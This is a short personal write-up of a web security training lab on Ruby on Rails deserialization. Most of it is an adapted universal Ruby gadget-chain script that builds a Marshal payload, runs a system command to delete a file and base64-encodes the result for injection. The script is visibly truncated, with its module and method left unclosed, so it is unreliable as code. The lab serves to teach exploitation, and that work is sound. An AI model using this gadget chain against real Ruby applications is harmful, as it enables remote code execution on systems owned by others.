## know how deserialization @access_token ruby
## know how @access_token deserialization ruby

This lab uses a serialization-based session mechanism and the Ruby on Rails framework. There are documented exploits that enable remote code execution via a gadget chain in this framework.

To solve the lab, find a documented exploit and adapt it to create a malicious serialized object containing a remote code execution payload. Then, pass this object into the website to delete the morale.txt file from Carlos's home directory.

You can log in to your own account using the following credentials: wiener:peter

2023 01 06 11 17 10

No we need search documentation for ruby . In this case found this..

Deserialization Gadget for Ruby 2.x-3
## know how deserialization ruby script universal-deserialisation-gadget-for-ruby-2-x-3-x 
## know how poc ruby

# Autoload the required classes

# prevent the payload from running when we Marshal.dump it
module Gem
  class Requirement
    def marshal_dump

wa1 = Net::WriteAdapter.new(Kernel, :system)

rs = Gem::RequestSet.allocate
rs.instance_variable_set('@sets', wa1)
## change id to command to remove file
##rs.instance_variable_set('@git_set', "id")
rs.instance_variable_set('@git_set', "rm /home/carlos/morale.txt")

wa2 = Net::WriteAdapter.new(rs, :resolve)

i = Gem::Package::TarReader::Entry.allocate
i.instance_variable_set('@read', 0)
i.instance_variable_set('@header', "aaa")

n = Net::BufferedIO.allocate
n.instance_variable_set('@io', i)
n.instance_variable_set('@debug_output', wa2)

t = Gem::Package::TarReader.allocate
t.instance_variable_set('@io', n)

r = Gem::Requirement.allocate
r.instance_variable_set('@requirements', t)

payload = Marshal.dump([Gem::SpecFetcher, Gem::Installer, r])

# puts encode payload to base64 and remove new lines and encode to url
## know how ruby encode base64 and url
puts Base64.urlsafe_encode64(payload).gsub("\n", "")

#puts payload.inspect
#puts Marshal.load(payload)

We are going to https://www.onlinegdb.com/ and change to ruby and paste the code.

2023 01 06 11 29 58


2023 01 06 11 35 45